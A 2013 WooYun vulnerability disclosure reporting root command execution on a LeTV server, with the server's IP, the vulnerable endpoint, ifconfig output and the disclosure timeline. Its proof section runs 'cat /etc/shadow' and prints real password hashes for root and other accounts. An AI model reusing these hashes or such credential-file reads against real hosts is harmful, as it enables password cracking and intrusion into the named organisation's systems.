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缺陷编号:wooyun-2013-040403

漏洞标题:乐视网某服务器命令执行(root)

相关厂商:乐视网

漏洞作者: 霍大然

提交时间:2013-10-21 10:38

修复时间:2013-12-05 10:39

公开时间:2013-12-05 10:39

漏洞类型:命令执行

危害等级:中

自评Rank:10

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

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漏洞详情

披露状态:

2013-10-21: 细节已通知厂商并且等待厂商处理中
2013-10-21: 厂商已经确认,细节仅向厂商公开
2013-10-31: 细节向核心白帽子及相关领域专家公开
2013-11-10: 细节向普通白帽子公开
2013-11-20: 细节向实习白帽子公开
2013-12-05: 细节向公众公开

简要描述:

乐视网某服务器命令执行(root)

详细说明:

是个影迷的什么站,目测是个老服务器了
http://123.126.33.235
http://123.126.33.235/api/homepage/getItemList?categoryId=4&subCategoryId=0&areaId=0&showTime=0&start=0&pageSize=10

3-1.PNG


上图可以证明是letv的站了
命令执行:
http://123.126.33.235/thirdparty/view/homepage.action

3-2.PNG

漏洞证明:

ifconfig:
eth0 Link encap:Ethernet HWaddr 00:50:56:89:1A:18
inet addr:123.126.33.235 Bcast:123.126.33.255 Mask:255.255.255.0
inet6 addr: fe80::250:56ff:fe89:1a18/64 Scope:Link
UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1
RX packets:429011973 errors:0 dropped:0 overruns:0 frame:0
TX packets:65925005 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:1000
RX bytes:38430267598 (35.7 GiB) TX bytes:12938563046 (12.0 GiB)
lo Link encap:Local Loopback
inet addr:127.0.0.1 Mask:255.0.0.0
inet6 addr: ::1/128 Scope:Host
UP LOOPBACK RUNNING MTU:16436 Metric:1
RX packets:4500048 errors:0 dropped:0 overruns:0 frame:0
TX packets:4500048 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:0
RX bytes:252130781 (240.4 MiB) TX bytes:252130781 (240.4 MiB)
cat /etc/shadow:
root:$6$WyyGLAKv$A7szyPJgnSasty3oOBfaaa97bkLKDwKAb9Gj67TClRXX9Qzx9jr.VP43le.w8XGRMdlXJ8WJWAyCNpu9dxcXB1:15812:0:99999:7:::
bin:*:15240:0:99999:7:::
daemon:*:15240:0:99999:7:::
adm:*:15240:0:99999:7:::
lp:*:15240:0:99999:7:::
sync:*:15240:0:99999:7:::
shutdown:*:15240:0:99999:7:::
halt:*:15240:0:99999:7:::
mail:*:15240:0:99999:7:::
uucp:*:15240:0:99999:7:::
operator:*:15240:0:99999:7:::
games:*:15240:0:99999:7:::
gopher:*:15240:0:99999:7:::
ftp:*:15240:0:99999:7:::
nobody:*:15240:0:99999:7:::
dbus:!!:15412::::::
vcsa:!!:15412::::::
rpc:!!:15412:0:99999:7:::
saslauth:!!:15412::::::
postfix:!!:15412::::::
ntp:!!:15412::::::
abrt:!!:15412::::::
rpcuser:!!:15412::::::
nfsnobody:!!:15412::::::
avahi:!!:15412::::::
haldaemon:!!:15412::::::
sshd:!!:15412::::::
puppet:!!:15412:0:99999:7:::
named:!!:15412::::::
tcpdump:!!:15412::::::
oprofile:!!:15412::::::
lele:$6$uOoLyAZ.$dfFEtnzTrbo9FM3LbwIKzI3L43evuszAg1BmGw4QdXoKoOxQ2D19BOt2PCh.tZ9d.23DaZvp/8KJJPpBslADx.:15412:0:99999:7:::
zabbix:$6$oPyro5oJ$4Wijw/KyytxJDAVl/ww77TTVfFxDX2o7osou3FZsLonJpbVDrch/lswJ9ylTivgbWL0zMVN9OxIQrk0fkvkVC0:15412:0:99999:7:::
mysql:!!:15484:0:99999:7:::
tomcat:!!:15812:0:99999:7:::

修复方案:

升级

版权声明:转载请注明来源 霍大然@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:10

确认时间:2013-10-21 11:39

厂商回复:

感谢挖掘,我们会尽快修复。

最新状态:

暂无